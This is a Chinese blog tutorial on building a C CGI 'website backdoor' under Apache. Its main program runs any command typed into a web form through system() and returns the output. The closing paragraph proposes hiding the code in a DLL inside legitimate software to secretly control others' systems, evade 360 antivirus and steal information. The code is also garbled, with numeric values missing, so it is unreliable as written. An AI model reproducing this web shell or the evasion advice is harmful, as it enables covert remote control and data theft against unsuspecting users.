C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!

首先了解一下啥子叫CGI  :CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。    ----来自百度百科

1.  首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!

(1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开!

          -----------------------面对这种问题,下一个就好了!  Apache server2.0 需要 IIS 配合。

(2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。  解决的方法有很多,但是个人比较喜欢这样来搞。

cmd --》 net -ano   --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的  PID ,然后在进程管理哪儿关闭就好了!

上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个

然后修改一个,http.cof文件

找到俩个位置:

第一个位置: #  AddHandler cgi-script .cgi   将这个语句的前面#注释符去掉

第二个位置:

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None    -----将这个位置替换为:    Options Indexes ExecCGI
Order allow,deny
Allow from all

</Directory>

这两个位置配置好之后。就可以用C/C++编程了!

第一步:我们编写一个这样的文件

 #include<stdio.h>
int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
printf("hello world ! 我是cgi ");
getchar();
return ;
}

编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi

然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下

在浏览器中,再输入,localhost/cgi-bin/hello.cgi  就可以看到这样的画面

          

2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢!

首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!

诺,看!

 <html>
<head>
<title>后台</title>
</head> <body>
<h1> 后台界面</h1>
<form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI > 请输入命令cmd: <input type="text" name="textlist" /><br><br>
<input type="submit" /><br>
</form>
<hr>
<body>
</html>

这个界面的运行的效果,如下图:

当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个jsp放到哪个地儿啦!

最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:

 #define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
//#include<stdexcept>
#include<windows.h> //以调用System为举例
void func(char ps []) {
// ps 为cmd命令
char *pl = strchr(ps,'='); //pl指向当前的位置
if(pl!=NULL) ps = ps + (pl-ps+);
printf("命令cmd = %s\n", ps);
char cmd[] = {'\0'};
char filename[] = "Gxjun.txt"; //暂定放置于当前目录。
sprintf(cmd,"%s > %s ",ps,filename); //将ps的内容写入cmd中
//生成了一条指令
//无论是否执行成功,都会生成一个Gxjun.txt文件
FILE *fp = NULL;
int tag=system(cmd);
if (tag == ) {
printf("命令格式错误!,请重新输入: ");
goto loop;
}
if ((fp = fopen(filename, "r")) == NULL) {
printf("没有发现文件!");
goto loop ;
} while (!feof(fp)) {
char str=fgetc(fp);
if (str == '\n') printf("<br><br>\n\n");
else if (str == ' ')printf("&nbsp;");
else
printf("%c",str);
} loop:
if (fp != NULL){
fclose(fp);
//并删除备份的文件
system("del Gxjun.txt");
}
return ;
} int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
//打印环境变量
printf("&nbsp;&nbsp;&nbsp;%s<br><br>", getenv("QUERY_STRING"));
char szPost[] = {'\0'};
gets(szPost); //获取输入
if ( strlen(szPost) < )
strcpy( szPost , "ipconfig" );
func(szPost);
getchar();
return ;
}

  编译之后,形成hello.exe改成将.exe属性改为hello.cgi文件,放置到cgi-bin目录中,当然,如果有服务器,之间放到服务器中就可以看!  就像这样

3.打开浏览器,输入类似这样的如下图:

输入一个  tasklist之后,得到这样一个页面显示:

输入: ipconfig 之后得到的画面:

好了! 关于,网站后台的知识,大概就这么多了! 写的比较操蛋! 当然,还可以无限的加精! 这个,得看,你能花多少时间在这个上面了! 做的精华了,你就是一个Hacker!    

  当然,其实这个技术,不仅仅仅限于web这方面,可以适应任何软件,我们可以生成一个lib/dll文件,然后#progma(lib,"**.lib");这样的宏命令,嵌入到我们的软件中,利用这个存在的软件,作为幌子,可以暗暗的操控被人的系统的!  当然也可以再写一个dll文件,来执行相应的操作的!这样的话,就需要加入很多的随机元素,比如文件生成不能再是Gxjun,txt,而应该是随机的生成,路径随意的生成,,当然这些都是很容易实现的,这样很容易躲过360的钩子这个流氓软件! 然后对别人 的软件偷偷的窃取信息什么的!! 当然,有360把关最底层,你所做的行为不可能逃过它的的监控,唯一的方法就是花钱,让360放行,等等! 当然,我们还是可以通过下载者自己放行就可以了(虽然会被拦截)!

----------------以上都是依据本屌实际操作可行,以及学习得到的经历,分享出来,供大家参考,如果有误,欢迎,严厉带着苛刻的指正!谢谢!------------------

c/c++----网站及其后门(CGI应用程序)的更多相关文章

  1. Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”

    Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...

  2. 菜鸟疑问之新建网站与新建web应用程序区别

    学习asp.net一定少不了这困惑:新建网站与新建web应用程序有什么区别? 新建web应用程序 新建网站 呵呵,其实从名字看一个是webApplication,一个是webSite.名字不同罢了? ...

  3. 集成自动化的条形码功能到internet应用程序,网站或自定义Java应用程序的条码控件Java Barcode Package

    Java Barcode Package控件是一款条码生成控件,包含所有的JavaBean,Applets,Servlets和类库可以使用于装有Java虚拟机的任何平台,包括Windows®, Lin ...

  4. ASP.NET网站与ASP.NET应用程序的区别

    我们使用VS做ASP.NET的时候,可以选择新建ASP.NET应用程序,同时也可以新建ASP.NET网站,两者有什么具体区别呢?今天真是很幸运,比别人多上了老师一节课,讲的是这两者之间的一些区别.我学 ...

  5. 基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写

    基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写 专业程序代写服务(QQ:928900200) 随着社会的进步.服务行业的服务水平不断发展与提高,宾馆.酒店.旅游等服务行业的信息量和工作 ...

  6. ubuntu chrome 无法从该网站添加应用,拓展程序或脚本

    昨天装好ubuntu 18.04 lts版本后,下载了chrome( 版本 68.0.3440.106)和SwitchyOmega,本来计划离线安装,结果提示“无法添加来自此网站的应用.扩展程序和应用 ...

  7. 搭建简单的CGI应用程序

    原文来源于<核心编程3>第10章web编程 一.静态文件+脚本文件 1.首先开启cgiweb服务器 python2 -m CGIHTTPServer 8000 看到如下反应 2.服务器目录 ...

  8. 【以前弄的老东西】DLLspy超犀利后门 (源代码+程序+使用手册+二次开发文档)

    这个玩意儿是很久之前的整的.一直没有做完,但是基本功能和框架都做好了,现在发出来,希望有能力的家伙一起完成.DLLspy,绝对免杀,隐藏,HTTP请求劫持,居家旅行,杀人放火必备良药.有时间我会继续开 ...

  9. 来选择一款适合你网站的CMS建站程序吧

    1:首页我们要搞清楚什么叫cms? ContentManagementSystem就是cms的全名,意思就是内容管理系统.cms整站系统是以文章系统为核心,增加用户需要的模块,如文章.图片.下载等,提 ...

随机推荐

  1. iOS日常工作之常用宏定义大全

    前言: 在工作中, 很多小伙伴都会在PCH文件定义一些常用的宏,但是又怕写这些简单的宏浪费时间,又有时候忘记怎么定义了怎么办?本人在工作中也是如此.所以在这里给大家分享一些常用的宏定义,喜欢的小伙伴可 ...

  2. gastic 安装

    所有文件下载地址: ftp://ftp.broadinstitute.org/pub/GISTIC2.0/ cd /home/software/ tar zxf GISTIC_2_0_22.tar.g ...

  3. 屏幕 Dynpro

    声明:原创作品,转载时请注明文章来自SAP师太技术博客( 博/客/园www.cnblogs.com):www.cnblogs.com/jiangzhengjun,并以超链接形式标明文章原始出处,否则将 ...

  4. mysql密码忘记或者不知道,怎么办?

    运行cmd: 输入mysql回车,如果成功,将出现MySQL提示符 > 连接权限数据库>use mysql; (>是本来就有的提示符,别忘了最后的分号) 修改改密码:> upd ...

  5. JavaWEB 常用开发模式MVC+三层结构

    MVC开发模式: M:  Model   -- JavaBean C:  Controler   --  Servlet V: View   --- JSP 不会在word里面画画,所以就直接截了 老 ...

  6. 如何在本机上将localhost改为www.dev.com

    windows上安装好服务器后,打开本地目录 C:\Windows\System32\drivers\etc\ ,会看到有个hosts文件,打开后里面的代码为: # Copyright (c) - M ...

  7. JS trim()方法使用

    JS trim()方法使用上有浏览器限制: 1.直接使用 string.trim() 浏览器版本限制:JavaScript Version 1.8  2.间接使用<即自己使用正则构造类trim的 ...

  8. [转载] 新兵训练营系列课程——平台服务部署及Web框架

    原文: http://weibo.com/p/1001643875679132642345 大纲 微博平台主要负责微博基础功能.接下来将会介绍 平台的作用,以及服务提供的形式 平台Web服务的部署 平 ...

  9. (五)uboot移植补基础之shell

    1.shell介绍:shell是操作系统的终端命令行 (1)shell可以理解为软件系统提供给用户操作的命令行界面,可以说它是人机交互的一种方式.(2)我们可以使用shell和操作系统.uboot等软 ...

  10. 【Todo】pthread_key_t 和 pthread_once_t学习

    这两个函数应该都是和线程局部变量有关的.有时间学习一下. 可以参考如下文章: <Linux线程私有数据pthread_key_t> <posix多线程有感--线程高级编程(pthre ...